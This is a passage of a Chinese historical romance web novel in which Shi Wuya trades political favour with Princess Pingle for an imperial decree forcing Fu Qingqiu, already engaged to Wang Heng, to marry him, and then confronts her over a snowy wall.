清秋倏然抬眸,眼底漫上些许欣喜,眼前王恒如雪中青竹,赫然出现,他撑着伞,朝她快步赶来,云露和观墨跟在他身后。 “常也。” 清秋从师无涯的伞下抽身,想也不想地奔向王恒。 师无涯看着清秋从身边飞快离开,垂在身侧的手试图留下她,但见她欢喜的模样,他怎么也不能伸出手拦下她。 王恒伸手牵过清秋的手,将她揽在伞下,师无涯愣在原地,视线落在王恒挽着他的手上。 “清秋,冷不冷,我听云露说了,我会派人把守城门,尽快找到绿柳,瞳瞳一定会没事的。”王恒轻声道,他的视线悄然瞥向师无涯。 王恒掌心包裹着清秋冰冷的双手,清秋颤颤抬眸,“不冷,若是能找到瞳瞳就是最好的。” 师无涯并未上前,见他二人旁若无人的说话,师无涯正欲转身离开。 明月高照,一道墨色身影,寂寥地往回走。 “师郎君,清秋的事有我在便好,这件事便不劳师郎君费心。”王恒朝师无涯道,他语气未变,可话中的意思却丝毫不落下风。 师无涯与清秋是旧相识,说到底止步于“朋友”二字,但清秋却是他的未婚妻。 先前在杭州,师无涯害他灌下十二碗酒,从他的嘴里套话,他就是有再好的性子,也不会再让师无涯靠近清秋。 师无涯本不想同王恒说这些,谁知他主动提及。 “王郎君,翰林院事务繁多,竟也有闲心来查这等小事?”师无涯不疾不徐地转过身,眉梢轻挑,眼底蓄满轻慢的笑意。 就算王恒与清秋定亲,他也有法子让王恒主动退婚,只是她不想让清秋因此生恨,故而才想徐徐图之。 王恒微怔,听他如此说,心中便已猜到几分。 近来翰林院中的事务皆堆在他身上,他已有好几日不曾离开,好不容易得了闲却又听清秋的狸奴不见了。 “便是如此,清秋之事亦是我的事,也不必师郎君费心,天色已晚,我与清秋先回了。”王恒揽过清秋的肩,将她护在身侧,不至于让雪落在她身上。 清秋侧身往外躲了躲,她虽与王恒牵过手,却不曾这样近的接触过,他轻叩着她肩膀的手,让清秋有几分不适。 师无涯目送他二人离开,他们一行人消失在雪夜里。 汴京是最为繁华之地,要想寻一只狸奴和一个人并不容易,何况这事还不至于惊动金吾卫。 清秋能寻到他,也只是想借用他的身份,能在汴京调动部分卫兵,以此能更快的寻到绿柳。 —— 翌日清晨,师无涯换上朝服入宫,散朝后他并未离开,而是由宫人引至后宫。 昨夜的雪停了一阵,天色清明,琉璃瓦上覆着薄雪,巍巍宫墙绵延无尽。 师无涯着绛紫圆领长袍,腰挂锦绶,头戴幞头,在宫人的遮掩下,他绕进公主寝宫,寝宫内暖香四溢,珠帘玉幕,檀香袅袅。 平乐知师无涯要来,早早地屏退宫中女使,只留用心腹女使。 师无涯踏进殿内,平乐听到细微的声响,缓缓抬眸,瞥见那双白绫抹黑皮履朝她靠近。 “许久不见了,师三郎。”平乐唇畔含笑,眼帘轻掀。 平乐示意女使上座,师无涯见她横陈榻上,身姿婀娜,不由得蹙眉,别开视线。 “想通了?是想娶我还是想求些什么?”平乐端坐起身,理了理衣袖,端的是公主贤淑雅致。 师无涯就坐,转过视线与平乐对视,随后漫不经心地道:“我想娶一个人,可她定亲了,公主若有能耐不妨让她嫁给我,往后我愿为公主鞍前马后,只为公主效劳。” 平乐凤眸微眯,打量着师无涯,“哦,我以为是什么大事呢,是付家二姑娘吧,瞧着也很寻常,师三郎娶我怕是比娶她更好些吧。” 言罢,平乐起身亲自斟茶,余光中见他有几分犹豫,便以为他是动容了。 师无涯不论娶谁,与她而言不过三两句话,更何况师无涯本就有官家的恩典,要娶谁不是轻而易举,这事难就难在付清秋已定亲。 若是寻常人家也就罢了,偏偏定亲的那人是国公府,王国公的妹妹王淑妃,和她母亲张贵妃向来不对付。 平乐想拉拢师无涯,最简单的法子是让师无涯娶她,而不是娶别人,毕竟将人困在身边才能更好的利用。 思及此,平乐正欲开口,却听师无涯淡声道:“平乐公主,我心中已有人选,我只要付家二姑娘,旁的人都无用。” 平乐轻哼一声,背过身,没忍住白他一眼。 师无涯不愿娶她,她还不愿嫁呢,给他高枝都不攀的人,恐怕也聪明不到哪儿去。 “吃盏茶,慢慢说。”平乐转身,递给他一盏茶,唇边仍浅笑。 只是这回她不再用手指勾他,师无涯将话说得明白,平乐懒得在他身上费工夫。 师无涯顺手接过,抬眸道:“平乐公主想要什么。” 平乐黛眉轻挑,迟疑半晌,笑得明艳:“师无涯,你要娶付家二姑娘可以,我再助你当上殿前司指挥使,我要你在十五那日按兵不动。” 付家向来是与太子关系密切,让师无涯娶付清秋,仔细想想也能警醒付家,师无涯的把柄太好掌握。 师无涯骨节分明的手指摩挲着茶盏边沿,好半晌他才道:“平乐公主这是何意?” “师三郎照我说的做便好,明日你便会拿到赐婚圣旨。”平乐起身,身上环佩玲琅,声声悦耳,她的手搭在师无涯肩上,倾身道。 “师无涯,我可是为你得罪了国公府,你知道该怎么做,事成之后,你的荣华富贵是享不尽的。” 言罢,平乐懒懒起身,往屏风后去,“退下吧。” 师无涯手中茶水已凉,不多时他起身放下建窑兔毫盏,朝平乐离去的方向凝神一望。 平乐听珠帘声响,便知师无涯是走了,待他走后,平乐从山水屏风后缓缓走出,她见那盏茶纹丝未动,心下冷然。 先前她就已将师无涯的身份查明,以及他最在意的人或事。 平乐眉眼低垂,横卧榻上,把玩手中玉蝶。 师无涯的软肋是付清秋,故而她觉得掌控师无涯还算容易,再知她也有私心,国公府已到付宅下聘,如今要灰溜溜地带着聘礼回去,岂不畅快。 汴京城里松风明月的国公长公子,求而不得,更是让平乐得意。 “付清秋” 平乐眼神轻蔑,顺手将玉蝶仍在地上,见玉碎清脆,这才舒出一口气痴痴笑起来。 —— 因付宅走水一事,付彰得了几日假,但因翰林院公务多,付远衡和王恒又忙的脚不沾地,付远衡自那日后便未回过宅。 韦南风仍在病榻上,清秋与吕汀英贴身服侍,付清岁闻家中起火,从李家匆匆赶回。 吕汀英守在韦南风身边,见付清岁和清秋眼角肿得厉害,低声道:“你们去歇着,母亲这儿有我在,别叫母亲醒来见着你们哭。” 付清岁颔首,忙拉着清秋往外去,杏院被烧,棠院尚且无事,付清岁领着清秋回棠院。 清秋眼皮高肿,泪意涟涟,付清岁轻拍她的肩,引她房内就坐。 “清秋,快别哭了,母亲最疼你见你这副模样,定然要难过的。”付清岁倒茶给她。 清秋旋握茶盏,低声道:“大姐姐,我怕母亲伤心,母亲原也过得不好,这些年还为我操心,我事事违逆她,离家两年,不知母亲是何等的难过。” 付清岁环抱着坐着的妹妹,轻声宽慰:“别这样说,至少如今都妥当了,清秋别想从前的事,如今在母亲身边一日,就服侍母亲一日。” 清秋眸光忽闪,似是想到什么事,抬眸问她:“姐姐你可晓得中郎将。” 付清岁不动声色的别开眼,指尖倏地松开她。 “我记得,保神观里是他救了我们,提他作甚?”付清秋声音轻细,仿佛实在回避。 清秋犹疑,杨淮蔺先前认错人,将她当作了付清岁,如今她想将此事告诉姐姐,却也不知从何说起。 付清岁已嫁人一年有余,再提此事,好似也无意义。 “没事,我忽地想起那日他好像送姐姐回来的。”清秋将话绕开,付清岁亦不想再提此事。 当日师无涯在保神观对她说的那些话,让她对眼前的妹妹心怀愧疚。 这只是其中一件,至于杨淮蔺的事,付清岁晓得的并不多,但她知道,那日她在屏风后所见到月白身影是杨淮蔺。 只是以她身份,是做不了他的正妻的,更何况那是付清岁并不晓得他的名姓,直到保神观再见,付清岁才确认他的身份。 汴京城里的风流浪子,襄王妃的侄子,杨淮蔺。 付清岁不愿嫁这样的人,上有主母蹉跎,下有妾室争宠,若要过那样的日子,她情愿低嫁,做个正头娘子,清贫也好过成日提心吊胆。 付清岁做过高攀的梦,但她不敢去赌。 故而她对杨淮蔺有心,最终也只是收了他的伞,散一场情意。 窗外飘起小雪,冷风灌进房内,临窗的书案上的书卷翻动,连带着书架上的几卷书幡然作响。 付清岁转身去关窗,只刚至窗前,便在菱花窗的书案旁见到了一幅小像,寥寥几笔绘出神韵,纵使没有眉眼,她也明白那不是她。 师无涯所画的人,是坐在桌旁的清秋。 付清岁凝神盯着那画,鬼使神差地将画收起来,卷进书架缝隙里,她关上窗,回身问清秋。 “清秋,倘若我有一日做了对不住你的事,你会如何?” 清秋反问道:“大姐姐会这样做吗。” 付清岁笑意微僵,不再说此事,清秋无心去猜付清岁的心思,眼下绿柳行踪不明,韦南风又在病中,付高越又因盛婼在将军府。 幸而有吕汀英在家中操持,否则后院无主,恐怕要乱一阵子。 晚间付清岁回了李宅,清秋送她至宅门前,只刚送走付清岁,便见观墨前来,观墨围着披风,手中提着食盒,又捻着一封信。 观墨脸宽耳阔,笑起来憨厚老实,他将东西交给云露。 “公子近来不得闲,在翰林院忙得走不开身。”观墨讪讪笑道,“付娘子,公子已派人去寻瞳瞳了,只是这事有些难,汴京地方大,恐怕需要些时间。” 清秋忙道:“不妨事的。天寒地冻,劝郎君莫伤着身子,待到赏雪宴过后,我再来寻郎君。” 不止王恒在翰林院忙着,付远衡也好几日不着家,清秋自然不想让王恒分心,可他抽不开身,那么找绿柳的事恐怕也没那么快了。 时近戌时,清秋并吕汀英守在韦南风榻前,大夫来瞧过,只说是气血攻心,修养一段时日便可好。 清秋劝吕汀英先去歇着,吕汀英这两日实在累得慌,便也顺着她话去歇下了。 月上枝头,雪又停了一阵。 清秋捧着茶水,一点点地为她润唇,韦南风似有所感,手指蜷缩着,缓缓地睁开眼。 “母亲,可还有不舒服?身上还疼吗?”清秋放下汤勺,命人将茶水端下去。 韦南风半支起身,眸光逐步凝起光晕,她深吸口气,扶着清秋的手起来。 付彰听女使来传消息,忙从书房赶来,他三步并作两步上前,握紧韦南风的手,轻声唤道,“南风。” 韦南风懒得挣开他的手,她没去看付彰,反倒问清秋:“你可有什么想问我的?” 清秋思忖片刻,轻声问:“母亲,聘礼的事怎么回事?” 付彰横眉,微微恼道:“你母亲刚醒,过些时日我再同你说。” 韦南风甩开他的手,眉心紧拧。 “你爹的话,不必听。日后你总要晓得的,我也不愿再瞒着你,何况你如今亲事也定了,我心里再没有别的顾虑。” 清秋不解地看着韦南风,付彰起身负手而立。 这件事原本可以永远藏住,却因韦南絮的到来毁了,韦南絮死在那场大火里,说不清是要报复他还是报复韦南风。 韦家因在江上有批大货沉了,韦南絮想再向他索要一笔,先前在猪儿巷付彰已给过她百余两银子,谁知她竟跑到付宅里来。 付彰已派人去杭州查探,那批人回来只说是韦老太太过身后韦南絮卷走了所有的钱财上京,刘氏和韦蒲来找过韦南絮,韦南絮置之不理,几度下杀手,刘氏怕她也不再来找她,仍由她留在汴京。 韦南风不打算再瞒着清秋,但付彰一时却抹不开面,他转身出去,留她二人在房内说话。 因要将话说开,韦南风索性连带着杭州往事也一并说了,她叹道:“先前师家本是下过聘的,聘礼留给我暂且收着,师三郎带来的家产他也交到我手中,在来汴京的前一日,他来寻到我。” 十年前的秋日,他们举家搬迁,临行前,师无涯来寻她。 那时的师无涯不过才十岁,韦南风只当是个孩子,见他来便让他坐下,命人给他上些糕点果子。 师无涯少时和如今相差不大,自小就生得俊逸,只是他从小不爱笑,多数时候都板着脸。 那日夜里,师无涯正色道:“叔母,我想把所有的家产都当作给清秋的聘礼,日后不必退还给我。” 韦南风捧着茶的手一顿,怔愣半晌,笑道:“你才多大,怎说起这事来了。” 师无涯那会太小,韦南风只将她的话当作玩笑,并未当真,但师无涯的这些话总叫她后怕。 她不愿让清秋嫁给师无涯,他们一家日后在汴京定居,师无涯又在汴京举目无亲,这样的一个孤儿,实在是配不上她的清秋。 后来在汴京师无涯没再提这件事,韦南风也从未将师无涯的话放在心上,师家的东西是师家的,她将来都会还给师无涯。 但她从未想过付彰会私自动用师无涯的聘礼,师无涯的聘礼丰厚,他们初到汴京,根本填不了这个空缺。 韦南风只能含恨将退婚的话咽回去,直到七年前,他们才将师无涯的聘礼填上,也是在那一日,韦南风向师无涯说及此事。 那是个春夜,师无涯眉眼依旧,添几分少年英气。 他似料到韦南风会对他说什么,这回韦南风没有让人给他上糕点果子,而是让李妈妈给他上茶,她见师无涯默声不语,便自顾自地说起来。 “无涯,这么些年来,我瞧你与清秋没什么情意,你待清秋如今是何想法?”韦南风拿余光看他,只见他神色平静,对她的话毫无反应。 韦南风道:“无涯,你与清秋不合适,她自小是我们娇养长大的,倘使日后没有一个稳定的夫家,是撑不起她的。” 师无涯不着一言,目光停在手中的茶盏。 韦南风的话说得何其明白,他又怎么会不明白,付家是看不上他,他也无力托举付家。 师无涯勾唇自嘲一笑,眼睫低垂,他淡声道:“叔母,多谢提点,无涯心里有数。” 韦南风心知杭州旧宅有些什么,她想要清秋变卖旧宅,只是因为那宅子里的青梅树下有一个坑,是师无涯为清秋打秋千时埋下来的。 那里头是师无涯写的四封情信。 当年她未曾动那些信,前往汴京时,她又将此事忘了,那会为南风也不知道付彰会平步青云,他们会在汴京站稳脚。 韦南风挑挑拣拣的将话告诉清秋,情信与家产做聘的事韦南风并未提及。 清秋好容易忘了师无涯,她自然不会在这个节骨眼上把这些旧事翻出来。 “过去的都过去了。”韦南风轻闭双眸,摆摆手道:“清秋,我累了你且回去歇着,这两日杏院在修缮,你便在棠院委屈几日。” 闻言,清秋颔首,服侍着韦南风睡下。 清秋听韦南风说及师无涯的过往,心中并没有太多的感触,毕竟这些事是发生在她幼时,就算韦南风和付彰动了师无涯的聘礼,那也与她无关,她也没有对不起师无涯。 清秋撑伞回棠院,棠院积雪深厚,云露尚在清扫,见清秋来,她拿着扫帚上前,忧道:“姑娘这里比杏院冷得多,姑娘你快进屋去。” “云露,你去歇着吧,我在外面坐会,天色不早了去睡吧。”清秋温声笑道。 棠树下积雪覆盖,急风乍起,棠树枝头悬挂着摇摇欲坠的秋千,似乎要被雪压跨。 清秋朝院墙外望去,似有什么声响在,清秋往墙角根下去,侧耳听着什么声音,忽地一声,有人从墙外往里扔了什么东西。 月色浓郁,银辉照雪,一道秾丽的红落在厚厚的积雪上。 一道平安符落在雪中,上头的金线针脚凌乱,毫无章法,比起这个上头的名字叫清秋心神一震,冷风灌进她的衣领,清秋指尖颤了颤。 ——师无涯 清秋捡起平安符,隔着白墙,扬声道:“师无涯,你来做甚。” 白墙外,师无涯倚在冰冷的墙上,怀中抱着只雪白异瞳的狮子猫,抚摸着瞳瞳的手倏然顿住,方才他往里扔的平安符,好像扔错了。 他扔成了他的。 “付二姑娘。” 师无涯唤她一声,随即转身跃上高墙,他一手圈着瞳瞳,一手撑着白墙,半蹲在墙上。 清秋仰头看他,月光倾照,他依旧恣意行事,全然不顾她的意愿,见他怀里抱着瞳瞳,清秋忙要去接。 “若只接它,我就不下来了。”师无涯勾唇,扬起笑颜。 师无涯作势手滑,清秋心下一惊,快步至墙边,以师无涯的身手定然不会摔着,她不必为师无涯担心,但她怕瞳瞳受伤。 清秋气得柳眉倒竖,恼道:“你好生把瞳瞳还我不行?又是翻院墙,真当付家没人了?” 清秋从他怀里抱回瞳瞳,瞳瞳毛发未卷,有些许焦痕,清秋鼻尖一酸,抱着它泫然欲泣。 师无涯苦涩一笑,眸光稍显失落,问:“付家自然有人,只是我不便走正门,走正门你会见我吗?” 清秋眉梢轻挑,真叫师无涯说对了,她必定不会见他。 他们之间没有什么话可说。 “所以先前你答应我的事,还做数吗?”师无涯立在她身前,微微前倾。 清秋顺着瞳瞳的毛,淡声道:“师无涯这不合礼数,如今我也抽不开身,再者说我与常也快要成婚,你何必再缠着我。” 师无涯挑眉,勾唇道:“是吗?” 清秋心头陡然一惊,见师无涯这副模样,像是有十足的把握。 “什么意思?”清秋狐疑道。 师无涯上前一步,眸光中蕴着得意的笑,他从清秋手中勾回平安符,“清秋,你等着看吧,你我之间是永远扯不断的。” “师无涯你是不是疯了,我和常也定亲是板上钉钉的事,你何苦要来横插一脚。”清秋凝眉,眸光含怨。 她请师无涯帮忙,除却她不能嫁给他这件事,旁的事她与他都有回旋的余地,唯独这件事上她和师无涯没有什么好说的。 师无涯从容淡漠,清秋所说的话,似乎激不起他的怒气。 师无涯步步靠近,垂眸盯着她,沉声道:“清秋,我们是有过婚约的,合该是天生一对,不对吗?” 清秋想也不想地踢他一脚,驳道:“不对,有过婚约又如何,师无涯你是不是以为我会永远等你?” “你不会等我,我有的是办法让你等我,清秋十四年我不信你忘得掉。” “那他有我好?” “陪你十几年的是我,你什么模样我没见过?清秋我们才是天造地设的一对。” 师无涯倾身上前,反手叩紧她,一手托着她的后背,不让她背后抵着墙,清秋被他圈在一寸之地。 瞳瞳倏地睁开眼,跃到雪地里,尾巴蜷着四肢,它漂亮的双瞳就这样看着墙边的两人。 清秋使劲推开他,恨恨道:“师无涯,你当真是高傲,一字一句皆是我围着你转,你凭什么替我做决定,你又有多了解我?” “我就是要替你做决定,你骗得了别人,付清秋,你扪心自问你喜欢王恒吗?你有为他痛哭流涕过吗?你愿意为他豁出性命吗!” 她推他,师无涯也不恼,饶有兴味地攥住她的手腕,一步步地贴近她。 “师无涯,你放开我!”清秋拧着手腕,冷声道:“我有!你以为你是,别太自以为是了师无涯,你当初难道不是在付家借住,我也从来没有喜欢过你。” “付清秋!”师无涯呵住她的话,凌冽锋芒的阴影笼罩着清秋。 清秋仰头与他对视,纵使师无涯居高临下,眼中盛满怒意,清秋也丝毫不惧,师无涯凭什么对她颐指气使,干涉她的婚事,左右她的一生。 他们早就没有任何关系了。 看似暧昧亲密的动作,此刻却蔓延着无尽冷意,清秋冷笑道:“师无涯你卑劣,我和你没有一丝可能。” “你想要什么,我都能给你,王恒能为你做什么?连瞳瞳都是我给你找回来的,付清秋你挑人的眼光不怎么样啊。”师无涯挑眉讽道。 清秋绽开笑颜,可她眼底却是冷的,犹如这夜的雪裹着寒风。 “是啊,否则怎么能看上你呢。”清秋使劲挣扎,细腻柔白的手腕被攥出触目惊心的红痕。 师无涯攥得越来越近,丝毫不顾她能否承受得住,清秋胸口沉闷,只见师无涯倾身靠近,目光犹如恶狼扑食。 “师无涯!你放开我!” 清秋抬手扇了他一巴掌,清脆的声音回荡在寂静的雪夜里,瞳瞳惊得叫了一声,随后跃上石桌,蜷缩着身子,仍旧看着他们。 师无涯仍未松手,只缓缓垂眼,看她因气愤而泛红的脖颈。 “付清秋,我们才是绝配,天生一对。明日我就会来府上想你提亲,下聘,你和王恒就此而止罢。”师无涯松开清秋的手,唇角上扬,丝毫不在意她的那巴掌扇得有多用力。 师无涯想通了,什么《追妻三十六计》都是些废话,若有那时间来磨蹭,他早就将人带回将军府了。 平乐公主已遣人来送了密信,明日他便可以走付家的正门。 “清秋,你的聘礼不止我先前留下的,还有别的。”师无涯眉梢轻挑,眼下一颗红痣妖冶漂亮,加之他得意的神色,更是张扬。 她原以为两年过去,师无涯会有些变化,却不像他这么多年的傲气依旧,从不在意她心中想要的是什么,就连那十二年里她受的委屈,他也从未对她说一句对不起。 清秋顺了口气,眼底闪过一丝悲凉,那一瞬的悲凉就这样被师无涯捕捉。 “清秋,你恨我就告诉是为何恨我,是我哪儿做得不对,你说出来好不好,为什么我们永远不能好好说话。”师无涯上手轻晃清秋的肩,他悲愤交加,却又对只字不说的清秋无可奈何。 他拿清秋一点办法都没有。 师无涯咬紧牙关,拳风从清秋耳畔划过,扬起她鬓边碎发。 清秋定了定神,淡然道:“师无涯,我们没什么好说的,我也不想和你说,请你离我远些。” “付清秋,你总会对我说的,你不会嫁给王恒,日后天长地久,有的是你会低头的日子。”师无涯指骨陷进冰冷坚硬的白墙里,骨头冒出血痕。 血滴落在清白的雪里,艳丽诡谲。 清秋不疾不徐地从他圈定的范围内走出来,师无涯侧头看她纤弱的身影。 “师无涯我不会向你低头,倘若你真要我嫁给你,可以,除非你去死,我每日变着法的给你下毒,你要是喜欢,就把我娶回去试试看。” 清秋抿唇轻笑,眼波流转,眉眼俏丽,在说这话时又有些俏皮的意味,可师无涯却高兴不起来。 她眉眼如故,仍如当年那般玲珑可爱。 “你当真喜欢他,我就去杀了他,你有的是法子,我也有让你服软的办法。”师无涯咬紧后牙,一字一句地道:“付清秋,试试看。” 清秋恨恨道:“你无耻。” 师无涯直起身来,将砸墙的那只手收回来,淡定地垂在身侧。 “无耻又如何,付清秋,你当年不也是这样追着我的吗,我如今这样不也是还给你了吗。” 清秋怒从中来,愤然驳道:“我当年如何?不过是看你可怜,师无涯你摆清你的位置,在我眼中你只是个客人,在我家借住的客人!” 她咬紧“客人”故意让师无涯难堪,果不其然这两字像是掐中了师无涯的命脉,原先还能抑住的怒意跃上眉梢。 “我忍你很久了付清秋,我可怜,我一直都可怜,在你心里我就是这样的对吗,从前的十二年就是因为我可怜,你才怜悯我,陪在我身边拿我解闷?” 师无涯步步紧逼,清秋步步后退却仍旧昂首,气势上他二人旗鼓相当。 月色渐浓,凉薄月光倾照,遍地雪白,雪中留下两人的脚印。 清秋从未像师无涯口中说的那样想过,在她心中,师无涯从不是解闷的玩意,只是师无涯高傲惯了,她凭什么一味的将就他。 她所受的委屈难道就能在一朝一夕之间消磨吗,那碾碎的尊严都要这样轻飘飘的揭过吗。 “是啊,师无涯只是因为你可怜而已。” 清秋唇边荡开得意的笑,眼中却露出一丝破绽,她不善撒谎,可在师无涯却将那破绽当作这句话的实证。 师无涯微怔,心脏骤然停了一瞬。 昭宁六十一年的初见,原来她只是可怜他,只是可怜他 师无涯长睫微颤,眼睫扑朔间,一滴清泪淌过,眼角的泪划过他左眼下的一颗红痣。 这是师无涯第一次在清秋面前落泪,她从未见过这样的师无涯,从前师无涯再是愤懑也不曾落过泪,那一滴泪像是仲夏焰火燎烧着她本该冷静的心。 可怜。 师无涯最不喜欢的就是可怜这种东西,以他的姿态,是绝不肯听到这两个字的。 清秋心知那话说得太过,可她也没别的话要对师无涯说,倘若师无涯因这些话对她死了心也是一桩好事,她这一生是绝不可能原谅师无涯。 师无涯唇齿相磨,欲言又止。 清秋只是可怜他。 可怜他年幼失怙,举目无亲,如丧家之犬寄人篱下。 “不论你如何说,付清秋你都只能嫁给我!”师无涯目光悲戚,一字一句地说着。 清秋被他眼中的情绪所吞噬,因她的话有失分寸,她终是败下阵来,悄然垂首。 师无涯不需要她的可怜,她也从未觉得师无涯可怜,可话到了嘴边,自然而然地说了出去。 轻薄的雪花落下,雪水融在师无涯的手背,伤口冒出的血混杂着雪往下滴。 “师无涯,你不能这样做。”清秋放缓声音,眸光微沉。 当初她决定嫁给王恒时就已做好了所有打算,无论日后她会不会爱上王恒,她都会待王恒好,敬重她的丈夫。 语毕,师无涯转过身,背对着清秋,淡声道:“清秋,我等着你杀了我。” “师无涯——” 清秋扬声喊道,却见他头也不回地翻出院墙,只余血痕。 趁着月色,师无涯在檐上飞步,不多时便回了将军,将军府上的灯烛已歇,他推开书房的门,从书案镇纸下抽出一张画像。 那是没有眉眼的轮廓,他勾勒不出清秋的喜乐忧愁,百般模样皆落在他心头。 第64章 “你死了,我会原谅你。”…… 因师无涯的话, 清秋整夜未眠,师无涯的那番话不像是在玩笑,更何况他如此信誓旦旦, 恐怕是确有其事。 可他怎么能叫王恒退婚, 这实在是太荒谬了。 窗外夜深雪重, 棠院灯烛未歇。 清秋倚在窗边,瞳瞳蜷缩在火炉旁,菱花窗边的书页翻动, 听着簌簌风声,烛火摇曳间, 清秋昏昏沉沉的睡去。 这两日吕汀英忙着找人修缮家中被烧毁的房屋, 清秋则在侧院照顾韦南风,付彰因公务繁忙,只在家中待了两日便要回户部。 好在师无涯并未来付家提亲, 反倒是观墨前来送了好几次礼,只是王恒仍未得空。 赏雪宴的前一日, 清秋收拾着明日的衣裳,吕汀英倒是送来不少新衣裳,首饰头面皆在其中。 清秋随意挑了挑, 剩下的便让云露收起来, 日后就不必再专门去置办新的行头。 杏院已修缮得差不多,云露正将东西往杏院搬。 天方明,雾色雪白, 山云同色。 廊下透出熹微晨光,清秋只身一人抱猫回杏院,还未至杏院身后就听一阵窸窸窣窣的脚步声。 脚步声稳健有力,却又十分紊乱, 在廊下回声。 院中松柏常青,落雪覆在枝头,日光下清透新绿。 清秋循声回头,只刚见人影,李妈妈便从她身后快步上前,着急忙慌的道:“姑娘不得了了!今儿一大早便有人来下聘,宫里的人都出来了。” 风声骤起,簌簌雪声,压垮恒恒长青的松柏。 清秋心下一惊,转手将瞳瞳抱给李妈妈身后的婆子,忙道:“把瞳瞳带回杏院,且叫云露看着,莫要再走失了。” 语罢,清秋与李妈妈快步行至正堂,堂内韦南风与一华服太监端坐上首,韦南风前些日子病着,现下面色不佳,病恹恹的坐着,又因那是宫里头的人不敢怠慢,格外勉强。 这太监是官家身边的常伴的林都知,先前在师无涯的谢师宴上清秋曾见过一次,如今是第二回见。 上首案上摆着一道黄澄澄的圣旨,林都知手捧茶盏,微微抬眼,看向踏雪而来的青衣小娘子。 “你就是付家二姑娘,付清秋?”林都知声音清透,传入清秋耳中却格外冰冷。 韦南风悄声叹息,转头对清秋道:“这是宫里的林都知,快些过来叩见。” “不必,我今儿来这儿只是来传个话,不多时便回了,付二姑娘命好,官家将你指给师指挥使,先前和国公家的亲事姑娘也别忧心,王国公前些日子已决心退婚了,不日便会来领回聘礼。” 林都知语调轻松,深不见底的眼瞳蕴着凉薄的笑意,他起身宣读圣旨,正堂里乌泱泱的跪下一批人。 清秋未置一语,林都知亦不在意她会说些什么,方才韦南风已问过他,他也不便多留,更何况官家圣旨又有谁敢置喙。 宣读圣旨后,林都知朝韦南风一笑,恭贺道:“尚书夫人好福气,官家亲自指婚,平乐公主和官家连带着大娘娘都为师指挥使备了贺礼。” 韦南风笑得发苦,见林都知喜气洋洋的模样,又不得不抬起笑颜。 清秋讷讷的接过圣旨,捧在手上的圣旨比烙铁更为炙热,十二月的寒气都无法消磨这份灼热。 她原以为师无涯是在骗她,毕竟前几日都无事发生,甚至观墨还来送信,师无涯到底是使了什么法子,才能让官家为他下旨。 如今好似说什么都晚了,师无涯的聘礼就摆在付宅门前,可师无涯没有来。 他求了圣旨,但在下聘时,却只是派了仆人送礼。 清秋指尖轻颤,唇边荡开苦涩的笑,她与韦南风将林都知送至宅门前,林都知只刚上马车,便见一赤马飞驰而来,手提一红木匣子。 马背上的绀色身影踏着白雪而来,长街留下细密的马蹄印,师无涯翻身下马,赤马乖顺的停靠在宅门前。 清秋凝眉,怔怔的盯着他。 前不久她才和师无涯大闹一场,撕开彼此的伤口,师无涯惯不会低头,而今竟然来寻她? “师无涯,你来做甚?”清秋横眉问道。 林都知见师无涯来,只凭窗作揖,不多时便和宫人离开。 “师无涯,付家养你十几年,如今还要毁了清秋的婚事,师无涯我后悔当日让付彰带你回来,你要毁了清秋才肯罢休吗。”韦南风咬牙切齿,恨恨开口。 李妈妈拦着她要上前的冲动,清秋紧握圣旨,满目怨怼。 “清秋,我有些话同你说。”师无涯收紧手中的红木匣子,并未搭理韦南风的话。 李妈妈见势拉着韦南风回宅,韦南风紧着一口气,转身回去。 天色渐明,落雪清白,风声绕过长街,吹起发丝衣裳。 “不是你要死的事,就不要告诉我了。”清秋冷声道,“你有滔天的权势,用权势逼我嫁给你,逼得我和常也分开,师无涯你究竟为何要这样啊……” 师无涯静静垂眸,凝神盯着她,良久才开口:“如你所愿,我要死了,清秋。” 平乐要他在明日按兵不动,师无涯明白这意味着什么,明日的赏雪宴是二大王一党要动手的日子,京中官眷皆会入宫,余下的京官翻不起风浪。 师无涯以此和平乐交换,他要和清秋的婚事,平乐要她在京中按兵不动,官家尚在病中,只等着继位圣旨出来。 这些事师无涯明白,但清秋却并不知晓,朝中动荡,清秋再怎么想也不会想到明日的赏雪宴是一场鸿门宴。 “师无涯,你最好明日就死了。”清秋勾唇冷笑,眼底一片冷意。 师无涯抿紧下唇,眼睫低垂,眸光怅惘,轻声道:“会的,你会如愿的。” 清秋蹙眉道:“你发什么疯?” 师无涯一番胡说,引得清秋生恼,不过她倒乐意见师无涯去死,要她嫁给他,还不如让他去死。 “清秋,倘若我死了,你能原谅我,从前的事我们能就此过去吗,只要你愿意原谅我。”师无涯倾身上前,轻轻地拥住她。 清秋眉梢轻佻,冷声道:“你死了,我会原谅你。” 西大街街尾拐角处停驻着一辆宝马香车,幽幽墨香,飘出帷幕之间。 “公子,国公爷说了这桩婚事是没有办法的事,夫人为此也哭了一场,公子何必再来看付二姑娘,付二姑娘品行不错,可我见她对公子也没多用心……”观墨侍立马车旁,牵着僵绳。 王恒一袭白袍,与雪色同争。 “公子,不必为此伤心,汴京中的姑娘多得是想嫁给公子的,那付二娘子有何好的?”观墨盯着清秋和师无涯嘟囔道。 他瞧得出自家公子对付二姑娘情深意重,可却看不出她对王恒有多深的情意。 王恒为清秋远赴杭州,害得他着了师无涯的道,让他喝了十二碗酒,如今落下了胃病,清秋却从未问过。 “观墨,这些话日后不必再说了。”王恒放下帷裳,垂眸温声道。 观墨都能看出来的事,他何尝不知,就算他争得过皇权,却也争不过清秋心里的一寸之地,再般配的家世相貌,在清秋眼中也不过如此。 师无涯虽无显赫的家世,但他圣眷正浓,又与平乐公主走得极近,显然是依靠着二大王才得势,有了这一道圣旨。 他和师无涯唯一的差别,就在于能否豁得出去。 师无涯可以依仗党争中的势力,可他却不能,他们一家誓死效忠官家,自然以辅佐太子为主,他和师无涯是天生的死敌。 “走罢。” 马车内传出一道文雅的声音,这声音落在冬日里生出几分寒意,引得观墨后背一凉,不过片刻,他牵着缰绳拉着马车往回去。 宅门前清秋早已推开师无涯,师无涯提起红木匣子,唇边荡开极浅的笑,那笑不达眼底,仿佛含着一丝悲凉。 师无涯顺势往后退,将匣子塞进她的手中,“我给你留了东西,你有时间的话看看吧。” 清秋一手拿着红木匣子,一手捧着圣旨,她仰头见师无涯眼底浮起些许怅惘,那没由来的情绪击得清秋心神震荡。 “我不要你的东西,要死也别死在我的面前。”清秋想将东西还给他,师无涯却转身上马,发尾红缨在白雪之中如同蜿蜒血痕。 日光明亮,长街巷尾,赤马红缨少年消失在雪色中。 “师无涯!” 清秋眉心轻蹙,扬声喊道。 